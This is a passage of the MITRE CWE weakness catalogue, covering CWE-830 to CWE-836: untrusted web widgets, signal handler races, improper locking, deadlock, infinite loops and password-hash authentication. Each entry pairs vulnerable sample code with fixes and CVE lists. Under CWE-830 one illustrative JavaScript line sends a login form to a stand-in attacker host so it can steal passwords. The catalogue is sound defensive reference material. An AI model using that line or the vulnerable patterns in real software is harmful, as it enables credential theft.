CVE-2005-2162	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://www.cve.org/CVERecord?id=CVE-2005-2162
CVE-2005-2198	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://www.cve.org/CVERecord?id=CVE-2005-2198
CVE-2004-0128	Modification of assumed-immutable variable in configuration script leads to file inclusion. https://www.cve.org/CVERecord?id=CVE-2004-0128
CVE-2005-1864	PHP file inclusion. https://www.cve.org/CVERecord?id=CVE-2005-1864
CVE-2005-1869	PHP file inclusion. https://www.cve.org/CVERecord?id=CVE-2005-1869
CVE-2005-1870	PHP file inclusion. https://www.cve.org/CVERecord?id=CVE-2005-1870
CVE-2005-2154	PHP local file inclusion. https://www.cve.org/CVERecord?id=CVE-2005-2154
CVE-2002-1704	PHP remote file include. https://www.cve.org/CVERecord?id=CVE-2002-1704
CVE-2002-1707	PHP remote file include. https://www.cve.org/CVERecord?id=CVE-2002-1707
CVE-2005-1964	PHP remote file include. https://www.cve.org/CVERecord?id=CVE-2005-1964
CVE-2005-1681	PHP remote file include. https://www.cve.org/CVERecord?id=CVE-2005-1681
CVE-2005-2086	PHP remote file include. https://www.cve.org/CVERecord?id=CVE-2005-2086
CVE-2004-0127	Directory traversal vulnerability in PHP include statement. https://www.cve.org/CVERecord?id=CVE-2004-0127
CVE-2005-1971	Directory traversal vulnerability in PHP include statement.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2005-1971
CVE-2005-3335	PHP file inclusion issue, both remote and local; local include uses "." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector. https://www.cve.org/CVERecord?id=CVE-2005-3335

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2378
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	2392
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2516
MemberOf	C	1364	ICS Communications: Zone Boundary Failures	1358	2522
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
175	Code Inclusion
201	Serialized Data External Linking
228	DTD Injection
251	Local Code Inclusion
252	PHP Local File Inclusion
253	Remote Code Inclusion
263	Force Use of Corrupted Files
538	Open-Source Library Manipulation
549	Local Execution of Code
640	Inclusion of Code in Existing Process
660	Root/Jailbreak Detection Evasion via Hooking
695	Repo Jacking
698	Install Malicious Extension

References

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.2023-04-07.

CWE-830: Inclusion of Web Functionality from an Untrusted Source

Weakness ID : 830

Structure : Simple

Abstraction : Variant

Description

1756

The product includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source.

Extended Description

Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.

Even if the third party is a trusted source, the product may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the product.


This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the product, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access.

Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		829	Inclusion of Functionality from Untrusted Control Sphere	1750

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1016	Limit Exposure	2452

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Demonstrative Examples

Example 1:

This login webpage includes a weather widget from an external website:

Example Language: HTML

(Bad)

```
<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id="loginForm" name="loginForm" action="login.php" method="post">
      Username: <input type="text" name="username" />
      <br/>
      Password: <input type="password" name="password" />
      <input type="submit" value="Login" />
    </form>
  </div>
```

```
<div id="WeatherWidget">
  <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
</div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Example Language: JavaScript

(Attack)

```
...Weather widget code...
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2516
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

References

[REF-778]Jeremiah Grossman. "Third-Party Web Widget Security FAQ". < <https://blog.jeremiahgrossman.com/2010/07/third-party-web-widget-security-faq.html> >.2023-04-07.

CWE-831: Signal Handler Function Associated with Multiple Signals

Weakness ID : 831

Structure : Simple

Abstraction : Variant

Description

The product defines a function that is used as a handler for more than one signal.

Extended Description

While sometimes intentional and safe, when the same function is used to handle multiple signals, a race condition could occur if the function uses any state outside of its local declaration, such as global variables or non-reentrant functions, or has any side effects.

An attacker could send one signal that invokes the handler function; in many OSes, this will typically prevent the same signal from invoking the handler again, at least until the handler function has completed execution. However, the attacker could then send a different signal that is associated with the same handler function. This could interrupt the original handler function while it is still executing. If there is shared state, then the state could be corrupted. This can lead to a variety of potential consequences depending on context, including denial of service and code execution.

Another rarely-explored possibility arises when the signal handler is only designed to be executed once (if at all). By sending multiple signals, an attacker could invoke the function more than once. This may generate extra, unintended side effects. A race condition might not even be necessary; the attacker could send one signal, wait until it is handled, then send the other signal.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		364	Signal Handler Race Condition	905

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Read Application Data	
Access Control	Gain Privileges or Assume Identity	
Other	Bypass Protection Mechanism Varies by Context	
<p><i>The most common consequence will be a corruption of the state of the product, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.</i></p>		

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals.

Example Language: C

(Bad)

```
void handler (int sigNum) {
    ...
}
int main (int argc, char* argv[]) {
    signal(SIGUSR1, handler)
    signal(SIGUSR2, handler)
}
```

Example 2:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C

(Bad)

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
}
```

```
sleep(10);
exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2547

References

[REF-360]Michal Zalewski. "Delivering Signals for Fun and Profit". < <https://lcamtuf.coredump.cx/signals.txt> >.2023-04-07.

[REF-361]"Race Condition: Signal Handling". < https://vulncat.fortify.com/en/detail?id=desc.structural.cpp.race_condition_signal_handling#:~:text=Signal%20handling%20race%20conditions%20can,installed%20to%20handle%20multiple%20signals.s >.2023-04-07.

CWE-832: Unlock of a Resource that is not Locked

Weakness ID : 832

Structure : Simple

Abstraction : Base

Description

The product attempts to unlock a resource that is not locked.

Extended Description

Depending on the locking functionality, an unlock of a non-locked resource might cause memory corruption or other modification to the resource (or its associated metadata that is used for tracking locks).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1472

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		411	Resource Locking Problems	2346

Common Consequences

Scope	Impact	Likelihood
Integrity	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	Modify Memory	
Other	Other	
<p><i>Depending on the locking being used, an unlock operation might not have any adverse effects. When effects exist, the most common consequence will be a corruption of the state of the product, possibly leading to a crash or exit; depending on the implementation of the unlocking, memory corruption or code execution could occur.</i></p>		

Observed Examples

Reference	Description
CVE-2010-4210	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory. https://www.cve.org/CVERecord?id=CVE-2010-4210
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash. https://www.cve.org/CVERecord?id=CVE-2008-4302
CVE-2009-1243	OS kernel performs an unlock in some incorrect circumstances, leading to panic. https://www.cve.org/CVERecord?id=CVE-2009-1243

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1401	Comprehensive Categorization: Concurrency	1400	2547

CWE-833: Deadlock

Weakness ID : 833

Structure : Simple

Abstraction : Base

Description

The product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1472

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1457

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		411	Resource Locking Problems	2346

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Other) DoS: Crash, Exit, or Restart <i>Each thread of execution will "hang" and prevent tasks from completing. In some cases, CPU consumption may occur if a lock check occurs in a tight loop.</i>	



Observed Examples

Reference	Description
CVE-1999-1476	A bug in some Intel Pentium processors allow DoS (hang) via an invalid "CMPXCHG8B" instruction, causing a deadlock https://www.cve.org/CVERecord?id=CVE-1999-1476
CVE-2009-2857	OS deadlock https://www.cve.org/CVERecord?id=CVE-2009-2857
CVE-2009-1961	OS deadlock involving 3 separate functions https://www.cve.org/CVERecord?id=CVE-2009-1961
CVE-2009-2699	deadlock in library https://www.cve.org/CVERecord?id=CVE-2009-2699

Reference	Description
CVE-2009-4272	deadlock triggered by packets that force collisions in a routing table https://www.cve.org/CVERecord?id=CVE-2009-4272
CVE-2002-1850	read/write deadlock between web server and script https://www.cve.org/CVERecord?id=CVE-2002-1850
CVE-2004-0174	web server deadlock involving multiple listening connections https://www.cve.org/CVERecord?id=CVE-2004-0174
CVE-2009-1388	multiple simultaneous calls to the same function trigger deadlock. https://www.cve.org/CVERecord?id=CVE-2009-1388
CVE-2006-5158	chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833). https://www.cve.org/CVERecord?id=CVE-2006-5158
CVE-2006-4342	deadlock when an operation is performed on a resource while it is being removed. https://www.cve.org/CVERecord?id=CVE-2006-4342
CVE-2006-2374	Deadlock in device driver triggered by using file handle of a related device. https://www.cve.org/CVERecord?id=CVE-2006-2374
CVE-2006-2275	Deadlock when large number of small messages cannot be processed quickly enough. https://www.cve.org/CVERecord?id=CVE-2006-2275
CVE-2005-3847	OS kernel has deadlock triggered by a signal during a core dump. https://www.cve.org/CVERecord?id=CVE-2005-3847
CVE-2005-3106	Race condition leads to deadlock. https://www.cve.org/CVERecord?id=CVE-2005-3106
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833) https://www.cve.org/CVERecord?id=CVE-2005-2456

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	2387
MemberOf		1401	Comprehensive Categorization: Concurrency	1400	2547

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK08-J		Ensure actively held locks are released on exceptional conditions

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock

References

- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.
- [REF-783]Robert C. Seacord. "Secure Coding in C and C++". 2006. Addison Wesley.

CWE-834: Excessive Iteration

Weakness ID : 834
Structure : Simple
Abstraction : Class

Description

The product performs an iteration or loop without sufficiently limiting the number of times that the loop is executed.







Extended Description

If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the product or its host system; it depends on the amount of resources consumed per iteration.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		691	Insufficient Control Flow Management	1525
ParentOf		674	Uncontrolled Recursion	1493
ParentOf		835	Loop with Unreachable Exit Condition ('Infinite Loop')	1766
ParentOf		1322	Use of Blocking Code in Single-threaded, Non-blocking Context	2219
CanFollow		606	Unchecked Input for Loop Condition	1366
CanFollow		1339	Insufficient Precision or Accuracy of a Real Number	2254

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf		835	Loop with Unreachable Exit Condition ('Infinite Loop')	1766

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Amplification DoS: Crash, Exit, or Restart <i>Excessive looping will cause unexpected consumption of resources, such as CPU cycles or memory. The product's operation may slow down, or cause a long time to respond. If limited resources such as memory are consumed for each iteration, the loop may eventually cause a crash or program exit due to exhaustion of resources, such as an out-of-memory error.</i>	

Detection Methods

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Forced Path Execution

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

In this example a mistake exists in the code where the exit condition contained in `flag` is never called. This results in the function calling itself over and over again until the stack is exhausted.

Example Language: C

(Bad)

```
void do_something_recursive (int flag)
{
    ... // Do some real work here, but the value of flag is unmodified
    if (flag) { do_something_recursive (flag); } // flag is never modified so it is always TRUE - this call will continue until the stack explodes
}
int flag = 1; // Set to TRUE
do_something_recursive (flag);
```

Note that the only difference between the Good and Bad examples is that the recursion flag will change value and cause the recursive call to return.

Example Language: C

(Good)

```
void do_something_recursive (int flag)
{
    ... // Do some real work here
    // Modify value of flag on done condition
    if (flag) { do_something_recursive (flag); } // returns when flag changes to 0
}
int flag = 1; // Set to TRUE
do_something_recursive (flag);
```

Example 2:

For this example, the method `isReorderNeeded` is part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.

Example Language: Java

(Bad)

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    boolean isReorder = false;
    int minimumCount = 10;
    int days = 0;
    // get inventory count for book
    int inventoryCount = inventory.getInventoryCount(bookISBN);
```

```
// find number of days until inventory count reaches minimum
while (inventoryCount > minimumCount) {
    inventoryCount = inventoryCount - rateSold;
    days++;
}
// if number of days within reorder timeframe
// set reorder return boolean to true
if (days > 0 && days < 5) {
    isReorder = true;
}
return isReorder;
}
```

However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop, as in the following code.

Example Language: Java

(Good)

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    ...
    // validate rateSold variable
    if (rateSold < 1) {
        return isReorder;
    }
    ...
}
```

Observed Examples

Reference	Description
CVE-2011-1027	Chain: off-by-one error (CWE-193) leads to infinite loop (CWE-835) using invalid hex-encoded characters. https://www.cve.org/CVERecord?id=CVE-2011-1027
CVE-2006-6499	Chain: web browser crashes due to infinite loop - "bad looping logic [that relies on] floating point math [CWE-1339] to exit the loop [CWE-835]" https://www.cve.org/CVERecord?id=CVE-2006-6499

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

Weakness ID : 835

Structure : Simple

Abstraction : Base



Description

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		834	Excessive Iteration	1763
CanFollow		1322	Use of Blocking Code in Single-threaded, Non-blocking Context	2219

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		834	Excessive Iteration	1763

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2348

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Amplification <i>An infinite loop will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond.</i>	

Demonstrative Examples

Example 1:

In the following code the method processMessagesFromServer attempts to establish a connection to a server and read and process messages from the server. The method uses a do/while loop to continue trying to establish the connection to the server when an attempt fails.

Example Language: C

(Bad)

```
int processMessagesFromServer(char *hostaddr, int port) {
    ...
    int servsock;
    int connected;
    struct sockaddr_in servaddr;
    // create socket to connect to server
    servsock = socket( AF_INET, SOCK_STREAM, 0);
    memset( &servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(port);
    servaddr.sin_addr.s_addr = inet_addr(hostaddr);
    do {
        // establish connection to server
```

```

connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
// if connected then read and process messages from server
if (connected > -1) {
    // read and process messages
    ...
}
// keep trying to establish connection to the server
} while (connected < 0);
// close socket and return success or failure
...
}

```

However, this will create an infinite loop if the server does not respond. This infinite loop will consume system resources and can be used to create a denial of service attack. To resolve this a counter should be used to limit the number of attempts to establish a connection to the server, as in the following code.

Example Language: C

(Good)

```

int processMessagesFromServer(char *hostaddr, int port) {
    ...
    // initialize number of attempts counter
    int count = 0;
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // increment counter
        count++;
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
        // keep trying to establish connection to the server
        // up to a maximum number of attempts
    } while (connected < 0 && count < MAX_ATTEMPTS);
    // close socket and return success or failure
    ...
}

```

Example 2:

For this example, the method `isReorderNeeded` is part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.

Example Language: Java

(Bad)

```

public boolean isReorderNeeded(String bookISBN, int rateSold) {
    boolean isReorder = false;
    int minimumCount = 10;
    int days = 0;
    // get inventory count for book
    int inventoryCount = inventory.getInventoryCount(bookISBN);
    // find number of days until inventory count reaches minimum
    while (inventoryCount > minimumCount) {
        inventoryCount = inventoryCount - rateSold;
        days++;
    }
    // if number of days within reorder timeframe
    // set reorder return boolean to true
    if (days > 0 && days < 5) {
        isReorder = true;
    }
    return isReorder;
}

```

However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop, as in the following code.

Example Language: Java

(Good)

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    ...
    // validate rateSold variable
    if (rateSold < 1) {
        return isReorder;
    }
    ...
}
```

Observed Examples

Reference	Description
CVE-2022-22224	Chain: an operating system does not properly process malformed Open Shortest Path First (OSPF) Type/Length/Value Identifiers (TLV) (CWE-703), which can cause the process to enter an infinite loop (CWE-835) https://www.cve.org/CVERecord?id=CVE-2022-22224
CVE-2022-25304	A Python machine communication platform did not account for receiving a malformed packet with a null size, causing the receiving function to never update the message buffer and be caught in an infinite loop. https://www.cve.org/CVERecord?id=CVE-2022-25304
CVE-2011-1027	Chain: off-by-one error (CWE-193) leads to infinite loop (CWE-835) using invalid hex-encoded characters. https://www.cve.org/CVERecord?id=CVE-2011-1027
CVE-2011-1142	Chain: self-referential values in recursive definitions lead to infinite loop. https://www.cve.org/CVERecord?id=CVE-2011-1142
CVE-2011-1002	NULL UDP packet is never cleared from a queue, leading to infinite loop. https://www.cve.org/CVERecord?id=CVE-2011-1002
CVE-2006-6499	Chain: web browser crashes due to infinite loop - "bad looping logic [that relies on] floating point math [CWE-1339] to exit the loop [CWE-835]" https://www.cve.org/CVERecord?id=CVE-2006-6499
CVE-2010-4476	Floating point conversion routine cycles back and forth between two different values. https://www.cve.org/CVERecord?id=CVE-2010-4476
CVE-2010-4645	Floating point conversion routine cycles back and forth between two different values. https://www.cve.org/CVERecord?id=CVE-2010-4645
CVE-2010-2534	Chain: improperly clearing a pointer in a linked list leads to infinite loop. https://www.cve.org/CVERecord?id=CVE-2010-2534
CVE-2013-1591	Chain: an integer overflow (CWE-190) in the image size calculation causes an infinite loop (CWE-835) which sequentially allocates buffers without limits (CWE-1325) until the stack is full. https://www.cve.org/CVERecord?id=CVE-2013-1591
CVE-2008-3688	Chain: A denial of service may be caused by an uninitialized variable (CWE-457) allowing an infinite loop (CWE-835) resulting from a connection to an unresponsive server. https://www.cve.org/CVERecord?id=CVE-2008-3688

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	✓	Page
MemberOf	✓	884	CWE Cross-section	884	2588
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2463
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2504
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCSM	ASCSM-CWE-835		

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

CWE-836: Use of Password Hash Instead of Password for Authentication

Weakness ID : 836

Structure : Simple

Abstraction : Base

Description

The product records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store.

Extended Description

Some authentication mechanisms rely on the client to generate the hash for a password, possibly to reduce load on the server or avoid sending the password across the network. However, when the client is used to generate the hash, an attacker can bypass the authentication by obtaining a copy of the hash, e.g. by using SQL injection to compromise a database of authentication credentials, or by exploiting an information exposure. The attacker could then use a modified client to replay the stolen hash without having knowledge of the original password.

As a result, the server-side comparison against a client-side hash does not provide any more security than the use of passwords without hashing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	✓	1390	Weak Authentication	2279
PeerOf	✓	602	Client-Side Enforcement of Server-Side Security	1359

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2445

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1211	Authentication Errors	2496

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity <i>An attacker could bypass the authentication routine without knowing the original password.</i>	

Observed Examples

Reference	Description
CVE-2009-1283	Product performs authentication with user-supplied password hashes that can be obtained from a separate SQL injection vulnerability (CVE-2009-1282). https://www.cve.org/CVERecord?id=CVE-2009-1283
CVE-2005-3435	Product allows attackers to bypass authentication by obtaining the password hash for another user and specifying the hash in the pwd argument. https://www.cve.org/CVERecord?id=CVE-2005-3435

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1396	Comprehensive Categorization: Access Control	1400	2540

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
644	Use of Captured Hashes (Pass The Hash)
652	Use of Known Kerberos Credentials

CWE-837: Improper Enforcement of a Single, Unique Action

Weakness ID : 837

Structure : Simple

Abstraction : Base

Description

The product requires that an actor should only be able to perform an action once, or to have only one unique action, but the product does not enforce or improperly enforces this restriction.

Extended Description


In various applications, a user is only expected to perform a certain action once, such as voting, requesting a refund, or making a purchase. When this restriction is not enforced, sometimes this can have security implications. For example, in a voting application, an attacker could attempt

to "stuff the ballot box" by voting multiple times. If these votes are counted separately, then the attacker could directly affect who wins the vote. This could have significant business impact depending on the purpose of the product.



Relationships
